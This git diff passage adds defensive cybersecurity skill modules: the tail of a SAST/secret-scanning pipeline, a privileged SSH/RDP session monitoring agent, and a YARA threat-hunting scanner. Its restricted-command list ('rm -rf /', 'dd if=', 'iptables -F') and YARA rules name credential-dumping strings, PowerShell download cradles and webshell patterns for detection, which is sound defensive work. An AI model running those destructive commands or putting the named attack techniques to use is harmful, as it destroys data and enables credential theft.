SEVERITY_ORDER.get(f.get("severity", ""), 0) >= threshold + ] + return { + "gate_threshold": fail_on, + "blocking_findings": len(blockers), + "passed": len(blockers) == 0, + } + + +def aggregate_report(all_findings): + """Aggregate findings from all scanners.""" + by_severity = {} + by_tool = {} + for f in all_findings: + if f.get("error"): + continue + sev = f.get("severity", "UNKNOWN") + tool = f.get("tool", "unknown") + by_severity[sev] = by_severity.get(sev, 0) + 1 + by_tool[tool] = by_tool.get(tool, 0) + 1 + return { + "total_findings": sum(1 for f in all_findings if not f.get("error")), + "by_severity": by_severity, + "by_tool": by_tool, + } + + +def main(): + parser = argparse.ArgumentParser(description="DevSecOps security scanning pipeline") + parser.add_argument("target", nargs="?", help="Directory or container image to scan") + parser.add_argument("--semgrep", action="store_true", help="Run Semgrep SAST") + parser.add_argument("--trivy", action="store_true", help="Run Trivy vulnerability scan") + parser.add_argument("--trivy-type", default="fs", choices=["image", "fs"], help="Trivy scan type") + parser.add_argument("--gitleaks", action="store_true", help="Run Gitleaks secret detection") + parser.add_argument("--fail-on", default="HIGH", help="Fail gate on severity (default: HIGH)") + parser.add_argument("--output", "-o", help="Output JSON report path") + args = parser.parse_args() + + print("[*] DevSecOps Security Scanning Pipeline") + report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z", "findings": []} + + if not args.target: + print("[DEMO] Usage: python agent.py /path/to/code --semgrep --trivy --gitleaks") + print(" Tools: semgrep (SAST), trivy (SCA/container), gitleaks (secrets)") + print(json.dumps({"demo": True, "tools": ["semgrep", "trivy", "gitleaks"]}, indent=2)) + sys.exit(0) + + if args.semgrep: + report["findings"].extend(run_semgrep(args.target)) + if args.trivy: + report["findings"].extend(run_trivy(args.target, args.trivy_type)) + if args.gitleaks: + report["findings"].extend(run_gitleaks(args.target)) + + summary = aggregate_report(report["findings"]) + gate = enforce_gate(report["findings"], args.fail_on) + report["summary"] = summary + report["gate"] = gate + + print(f"[*] Total findings: {summary['total_findings']}") + print(f"[*] By severity: {summary['by_severity']}") + print(f"[*] Gate ({args.fail_on}): {'PASSED' if gate['passed'] else 'FAILED'}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + + print(json.dumps({"gate_passed": gate["passed"], "total": summary["total_findings"]}, indent=2)) + sys.exit(0 if gate["passed"] else 1) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-privileged-session-monitoring/LICENSE b/skills/implementing-privileged-session-monitoring/LICENSE new file mode 100644 index 00000000..09d37ad6 --- /dev/null +++ b/skills/implementing-privileged-session-monitoring/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Mahipal + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-privileged-session-monitoring/SKILL.md b/skills/implementing-privileged-session-monitoring/SKILL.md new file mode 100644 index 00000000..32016abf --- /dev/null +++ b/skills/implementing-privileged-session-monitoring/SKILL.md @@ -0,0 +1,18 @@ +--- +name: implementing-privileged-session-monitoring +description: > + Monitor and audit privileged user sessions including SSH, RDP, and + database access. Tracks session metadata, records commands, detects + anomalous activity, and enforces session policies for PAM compliance. +domain: cybersecurity +subdomain: identity-access-management +tags: [pam, session-monitoring, privileged-access, audit-logging] +version: "1.0" +author: mahipal +license: Apache-2.0 +--- + +# Implementing Privileged Session Monitoring + +Monitor privileged sessions (SSH, RDP, database) with real-time command +logging, anomaly detection, session recording, and compliance reporting. diff --git a/skills/implementing-privileged-session-monitoring/references/api-reference.md b/skills/implementing-privileged-session-monitoring/references/api-reference.md new file mode 100644 index 00000000..6eb2c81d --- /dev/null +++ b/skills/implementing-privileged-session-monitoring/references/api-reference.md @@ -0,0 +1,63 @@ +# API Reference: Privileged Session Monitoring + +## SSH Auth Log Parsing +```bash +# Location +/var/log/auth.log # Debian/Ubuntu +/var/log/secure # RHEL/CentOS + +# Extract SSH sessions +grep "sshd.*Accepted" /var/log/auth.log +grep "sshd.*Failed" /var/log/auth.log + +# Count by source IP +grep "sshd.*Accepted" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn +``` + +## Windows RDP Event IDs +| Event ID | Log | Description | +|----------|-----|------------| +| 4624 (Type 10) | Security | Successful RDP logon | +| 4625 (Type 10) | Security | Failed RDP logon | +| 1149 | TerminalServices-RemoteConnectionManager | RDP connection established | +| 21 | TerminalServices-LocalSessionManager | Session logon succeeded | +| 24 | TerminalServices-LocalSessionManager | Session disconnected | +| 25 | TerminalServices-LocalSessionManager | Session reconnected | + +## PowerShell RDP Query +```powershell +Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} | + Where-Object {$_.Properties[8].Value -eq 10} | + Select-Object TimeCreated, + @{N='User';E={$_.Properties[5].Value}}, + @{N='SourceIP';E={$_.Properties[18].Value}} +``` + +## CyberArk PSM REST API +```bash +# Get active sessions +curl -H "Authorization: $CYBERARK_TOKEN" \ + "https://pvwa.example.com/PasswordVault/api/LiveSessions" + +# Get session recordings +curl -H "Authorization: $CYBERARK_TOKEN" \ + "https://pvwa.example.com/PasswordVault/api/Recordings?Limit=100" +``` + +## Session Policy Fields +| Policy | Default | Description | +|--------|---------|------------| +| max_duration_hours | 8 | Maximum session length | +| max_idle_minutes | 30 | Auto-disconnect on idle | +| require_mfa | true | MFA required for access | +| record_session | true | Full session recording | +| allowed_hours | 06:00-22:00 | Permitted access window | + +## Restricted Commands (Alert Triggers) +| Pattern | Risk | +|---------|------| +| `rm -rf /` | Destructive deletion | +| `dd if=` | Disk overwrite | +| `chmod 777` | Excessive permissions | +| `iptables -F` | Firewall rule flush | +| `passwd root` | Root password change | diff --git a/skills/implementing-privileged-session-monitoring/scripts/agent.py b/skills/implementing-privileged-session-monitoring/scripts/agent.py new file mode 100644 index 00000000..0ec42b38 --- /dev/null +++ b/skills/implementing-privileged-session-monitoring/scripts/agent.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python3 +"""Privileged session monitoring agent. + +Monitors SSH auth logs, Windows RDP events, and database sessions to +track privileged access, detect anomalies, and generate audit reports. +""" + +import argparse +import json +import os +import re +import sys +import datetime +import collections + +try: + import subprocess + HAS_SUBPROCESS = True +except ImportError: + HAS_SUBPROCESS = False + + +SESSION_POLICIES = { + "max_duration_hours": 8, + "max_idle_minutes": 30, + "require_mfa": True, + "record_session": True, + "allowed_hours": {"start": 6, "end": 22}, + "restricted_commands": [ + r"rm\s+-rf\s+/", r"dd\s+if=", r"mkfs\.", r"shutdown", r"reboot", + r"passwd\s+root", r"visudo", r"chmod\s+777", r"iptables\s+-F", + ], +} + +PRIVILEGED_ACCOUNTS = [ + "root", "administrator", "admin", "dba", "sa", + "sysadmin", "service_account", "deploy", +] + + +def parse_ssh_auth_log(log_path, max_lines=10000): + """Parse SSH authentication log for session events.""" + sessions = [] + pattern = re.compile( + r"(\w+\s+\d+\s+[\d:]+)\s+(\S+)\s+sshd\[(\d+)\]:\s+" + r"(Accepted|Failed)\s+(\S+)\s+for\s+(\S+)\s+from\s+(\S+)\s+port\s+(\d+)" + ) + try: + with open(log_path, "r") as f: + for i, line in enumerate(f): + if i >= max_lines: + break + m = pattern.search(line) + if m: + sessions.append({ + "timestamp": m.group(1), + "hostname": m.group(2), + "pid": m.group(3), + "status": m.group(4).lower(), + "auth_method": m.group(5), + "username": m.group(6), + "source_ip": m.group(7), + "source_port": int(m.group(8)), + "privileged": m.group(6).lower() in PRIVILEGED_ACCOUNTS, + }) + except FileNotFoundError: + return {"error": f"Log file not found: {log_path}"} + return sessions + + +def parse_rdp_events_windows(): + """Parse Windows RDP logon events via PowerShell.""" + cmd = ( + "Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} " + "| Where-Object {$_.Properties[8].Value -eq 10} " + "| Select-Object -First 50 " + "| ForEach-Object { @{TimeCreated=$_.TimeCreated.ToString('o');" + "User=$_.Properties[5].Value;Domain=$_.Properties[6].Value;" + "SourceIP=$_.Properties[18].Value} } | ConvertTo-Json" + ) + try: + result = subprocess.run( + ["powershell", "-NoProfile", "-Command", cmd], + capture_output=True, text=True, timeout=30 + ) + if result.stdout.strip(): + data = json.loads(result.stdout) + if isinstance(data, dict): + data = [data] + return [ + { + "timestamp": d.get("TimeCreated", ""), + "username": d.get("User", ""), + "domain": d.get("Domain", ""), + "source_ip": d.get("SourceIP", ""), + "session_type": "RDP", + "privileged": d.get("User", "").lower() in PRIVILEGED_ACCOUNTS, + } + for d in data + ] + return [] + except (subprocess.SubprocessError, json.JSONDecodeError): + return [] + + +def check_command_policy(command): + """Check if a command violates session policy.""" + violations = [] + for pattern in SESSION_POLICIES["restricted_commands"]: + if re.search(pattern, command, re.IGNORECASE): + violations.append({ + "pattern": pattern, + "command": command[:100], + "action": "alert_and_log", + }) + return violations + + +def detect_session_anomalies(sessions): + """Detect anomalous session patterns.""" + anomalies = [] + ip_counts = collections.Counter(s.get("source_ip") for s in sessions) + user_counts = collections.Counter(s.get("username") for s in sessions) + + for ip, count in ip_counts.items(): + if count > 20: + anomalies.append({ + "type": "brute_force_candidate", + "source_ip": ip, + "attempt_count": count, + "severity": "HIGH", + }) + + failed = [s for s in sessions if s.get("status") == "failed"] + failed_by_user = collections.Counter(s.get("username") for s in failed) + for user, count in failed_by_user.items(): + if count >= 5: + anomalies.append({ + "type": "failed_auth_spike", + "username": user, + "failed_count": count, + "severity": "HIGH" if user in PRIVILEGED_ACCOUNTS else "MEDIUM", + }) + + priv_sessions = [s for s in sessions if s.get("privileged")] + for ps in priv_sessions: + anomalies.append({ + "type": "privileged_session", + "username": ps.get("username"), + "source_ip": ps.get("source_ip"), + "severity": "MEDIUM", + }) + + return anomalies + + +def generate_audit_report(sessions, anomalies): + """Generate privileged session audit report.""" + total = len(sessions) + privileged = sum(1 for s in sessions if s.get("privileged")) + accepted = sum(1 for s in sessions if s.get("status") == "accepted") + failed = sum(1 for s in sessions if s.get("status") == "failed") + unique_users = len(set(s.get("username") for s in sessions)) + unique_ips = len(set(s.get("source_ip") for s in sessions)) + + return { + "report_time": datetime.datetime.utcnow().isoformat() + "Z", + "total_sessions": total, + "accepted": accepted, + "failed": failed, + "privileged_sessions": privileged, + "unique_users": unique_users, + "unique_source_ips": unique_ips, + "anomaly_count": len(anomalies), + "policy": SESSION_POLICIES, + } + + +def main(): + parser = argparse.ArgumentParser(description="Privileged session monitoring agent") + parser.add_argument("--ssh-log", help="Path to SSH auth.log") + parser.add_argument("--rdp", action="store_true", help="Parse Windows RDP events") + parser.add_argument("--check-command", help="Check a command against policy") + parser.add_argument("--output", "-o", help="Output JSON report path") + args = parser.parse_args() + + print("[*] Privileged Session Monitoring Agent") + report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"} + + sessions = [] + if args.ssh_log: + sessions = parse_ssh_auth_log(args.ssh_log) + if isinstance(sessions, dict) and "error" in sessions: + print(f"[!] {sessions['error']}") + sessions = [] + else: + print(f"[*] SSH sessions parsed: {len(sessions)}") + + if args.rdp and sys.platform == "win32": + rdp_sessions = parse_rdp_events_windows() + sessions.extend(rdp_sessions) + print(f"[*] RDP sessions parsed: {len(rdp_sessions)}") + + if args.check_command: + violations = check_command_policy(args.check_command) + if violations: + print(f"[!] Command policy violations: {len(violations)}") + for v in violations: + print(f" Pattern: {v['pattern']}") + else: + print("[*] Command passes policy check") + report["command_check"] = {"command": args.check_command, "violations": violations} + + if sessions: + anomalies = detect_session_anomalies(sessions) + audit = generate_audit_report(sessions, anomalies) + report["sessions"] = audit + report["anomalies"] = anomalies + print(f"[*] Anomalies detected: {len(anomalies)}") + else: + print("\n[DEMO] Usage: python agent.py --ssh-log /var/log/auth.log") + print(" Monitors: SSH, RDP, privileged account access") + print(" Detects: brute force, failed auth spikes, off-hours access") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + + print(json.dumps({"sessions": len(sessions), + "anomalies": len(report.get("anomalies", []))}, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-threat-hunting-with-yara-rules/LICENSE b/skills/performing-threat-hunting-with-yara-rules/LICENSE new file mode 100644 index 00000000..09d37ad6 --- /dev/null +++ b/skills/performing-threat-hunting-with-yara-rules/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Mahipal + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-threat-hunting-with-yara-rules/SKILL.md b/skills/performing-threat-hunting-with-yara-rules/SKILL.md new file mode 100644 index 00000000..7d2780d2 --- /dev/null +++ b/skills/performing-threat-hunting-with-yara-rules/SKILL.md @@ -0,0 +1,18 @@ +--- +name: performing-threat-hunting-with-yara-rules +description: > + Use YARA pattern-matching rules to hunt for malware, suspicious files, and + indicators of compromise across filesystems and memory dumps. Covers rule + authoring, yara-python scanning, and integration with threat intel feeds. +domain: cybersecurity +subdomain: threat-hunting +tags: [yara, malware-detection, threat-hunting, pattern-matching] +version: "1.0" +author: mahipal +license: Apache-2.0 +--- + +# Performing Threat Hunting with YARA Rules + +Scan files, directories, and memory dumps using YARA rules to identify +malware families, suspicious patterns, and IOC matches. diff --git a/skills/performing-threat-hunting-with-yara-rules/references/api-reference.md b/skills/performing-threat-hunting-with-yara-rules/references/api-reference.md new file mode 100644 index 00000000..5c419ab6 --- /dev/null +++ b/skills/performing-threat-hunting-with-yara-rules/references/api-reference.md @@ -0,0 +1,89 @@ +# API Reference: Threat Hunting with YARA Rules + +## yara-python Library + +### Installation +```bash +pip install yara-python +``` + +### Compile and Scan +```python +import yara + +# Compile from source string +rules = yara.compile(source='rule test { strings: $a = "malware" condition: $a }') + +# Compile from file +rules = yara.compile(filepath='/path/to/rules.yar') + +# Compile from directory (multiple files) +rules = yara.compile(filepaths={'ns1': '/rules/rule1.yar', 'ns2': '/rules/rule2.yar'}) + +# Scan file +matches = rules.match('/path/to/suspect.exe') +for m in matches: + print(m.rule, m.meta, m.strings, m.tags) + +# Scan data (bytes) +matches = rules.match(data=open('/path/to/file', 'rb').read()) + +# Scan with timeout (seconds) +matches = rules.match('/path/to/file', timeout=60) +``` + +## YARA CLI +```bash +# Scan file with single rule +yara rule.yar suspect.exe + +# Scan directory recursively +yara -r rules.yar /path/to/directory/ + +# Show matching strings +yara -s rule.yar suspect.exe + +# Show metadata +yara -e rule.yar suspect.exe + +# Compile rules to binary +yarac rules.yar compiled.yarc +yara compiled.yarc suspect.exe + +# Scan with tag filter +yara -t malware rules.yar /path/ +``` + +## YARA Rule Structure +```yara +rule Example_Rule { + meta: + author = "analyst" + description = "Detects example pattern" + severity = "high" + reference = "https://example.com" + strings: + $text = "suspicious_string" ascii nocase + $hex = { 4D 5A 90 00 } + $regex = /eval\(base64_decode/ + condition: + uint16(0) == 0x5A4D and 2 of ($text, $hex, $regex) +} +``` + +## Match Object Fields +| Field | Description | +|-------|------------| +| rule | Rule name that matched | +| meta | Dict of meta key-value pairs | +| strings | List of (offset, identifier, data) tuples | +| tags | List of rule tags | +| namespace | Rule namespace | + +## Community Rule Sources +| Source | URL | +|--------|-----| +| YARA-Rules | https://github.com/Yara-Rules/rules | +| Elastic YARA | https://github.com/elastic/protections-artifacts | +| Malpedia | https://malpedia.caad.fkie.fraunhofer.de | +| ThreatHunting Keywords | https://github.com/mthcht/ThreatHunting-Keywords-yara-rules | diff --git a/skills/performing-threat-hunting-with-yara-rules/scripts/agent.py b/skills/performing-threat-hunting-with-yara-rules/scripts/agent.py new file mode 100644 index 00000000..ac781ba7 --- /dev/null +++ b/skills/performing-threat-hunting-with-yara-rules/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Threat hunting agent using YARA rules. + +Scans files and directories with yara-python, supports rule compilation, +multi-rule scanning, and structured JSON match output. +""" + +import argparse +import json +import os +import sys +import hashlib +import datetime + +try: + import yara + HAS_YARA = True +except ImportError: + HAS_YARA = False + + +BUILTIN_RULES = { + "suspicious_powershell": """ +rule Suspicious_PowerShell { + meta: + description = "Detects obfuscated PowerShell patterns" + severity = "high" + strings: + $enc = "-EncodedCommand" ascii nocase + $bypass = "-ExecutionPolicy Bypass" ascii nocase + $hidden = "-WindowStyle Hidden" ascii nocase + $iex = "IEX" ascii nocase + $webclient = "Net.WebClient" ascii nocase + $downloadstring = "DownloadString" ascii nocase + condition: + 2 of them +}""", + "mimikatz_strings": """ +rule Mimikatz_Strings { + meta: + description = "Detects Mimikatz credential harvesting tool" + severity = "critical" + strings: + $s1 = "sekurlsa::logonpasswords" ascii nocase + $s2 = "sekurlsa::wdigest" ascii nocase + $s3 = "lsadump::sam" ascii nocase + $s4 = "privilege::debug" ascii nocase + $s5 = "gentilkiwi" ascii wide + condition: + 2 of them +}""", + "webshell_generic": """ +rule Webshell_Generic { + meta: + description = "Detects common webshell patterns" + severity = "high" + strings: + $php1 = "eval($_POST" ascii nocase + $php2 = "eval($_GET" ascii nocase + $php3 = "eval($_REQUEST" ascii nocase + $php4 = "base64_decode($_" ascii nocase + $asp1 = "eval(Request" ascii nocase + $jsp1 = "Runtime.getRuntime().exec" ascii + condition: + any of them +}""", +} + + +def compile_rules(rule_sources=None, rule_dir=None): + """Compile YARA rules from strings or directory.""" + if not HAS_YARA: + return None + if rule_dir and os.path.isdir(rule_dir): + filepaths = {} + for f in os.listdir(rule_dir): + if f.endswith((".yar", ".yara")): + filepaths[f] = os.path.join(rule_dir, f) + if filepaths: + return yara.compile(filepaths=filepaths) + if rule_sources: + combined = "\n".join(rule_sources.values()) + return yara.compile(source=combined) + return yara.compile(source="\n".join(BUILTIN_RULES.values())) + + +def scan_file(rules, filepath): + """Scan a single file with compiled YARA rules.""" + try: + matches = rules.match(filepath) + return [ + { + "rule": m.rule, + "meta": m.meta, + "strings": [ + {"offset": s[0], "identifier": s[1], "data": s[2].decode("utf-8", errors="replace")[:64]} + for s in m.strings + ], + "tags": list(m.tags), + } + for m in matches + ] + except yara.Error as e: + return [{"error": str(e)}] + + +def scan_directory(rules, directory, max_size_mb=50): + """Recursively scan directory with YARA rules.""" + results = [] + max_bytes = max_size_mb * 1024 * 1024 + for root, _, files in os.walk(directory): + for fname in files: + fpath = os.path.join(root, fname) + try: + if os.path.getsize(fpath) > max_bytes: + continue + matches = scan_file(rules, fpath) + if matches and not any("error" in m for m in matches): + sha256 = hashlib.sha256(open(fpath, "rb").read()).hexdigest() + results.append({"file": fpath, "sha256": sha256, "matches": matches}) + except (PermissionError, OSError): + continue + return results + + +def main(): + parser = argparse.ArgumentParser(description="YARA-based threat hunting scanner") + parser.add_argument("target", nargs="?", help="File or directory to scan") + parser.add_argument("--rules-dir", help="Directory containing .yar/.yara rule files") + parser.add_argument("--max-size", type=int, default=50, help="Max file size in MB (default: 50)") + parser.add_argument("--output", "-o", help="Output JSON report path") + args = parser.parse_args() + + print("[*] YARA Threat Hunting Agent") + print(f" yara-python available: {HAS_YARA}") + + if not HAS_YARA: + print("[!] Install yara-python: pip install yara-python") + sys.exit(1) + + rules = compile_rules(rule_dir=args.rules_dir) + if not rules: + print("[!] No rules compiled") + sys.exit(1) + + report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z", "findings": []} + + if args.target and os.path.isfile(args.target): + matches = scan_file(rules, args.target) + if matches: + report["findings"].append({"file": args.target, "matches": matches}) + elif args.target and os.path.isdir(args.target): + report["findings"] = scan_directory(rules, args.target, args.max_size) + else: + print("[DEMO] Built-in rules available:") + for name, rule in BUILTIN_RULES.items(): + desc = [l for l in rule.splitlines() if "description" in l] + print(f" {name}: {desc[0].strip() if desc else ''}") + print("\nUsage: python agent.py /path/to/scan --rules-dir /path/to/rules") + + total = len(report["findings"]) + print(f"\n[*] Total files with matches: {total}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps({"files_matched": total, "rules_loaded": len(BUILTIN_RULES)}, indent=2)) + + +if __name__ == "__main__": + main()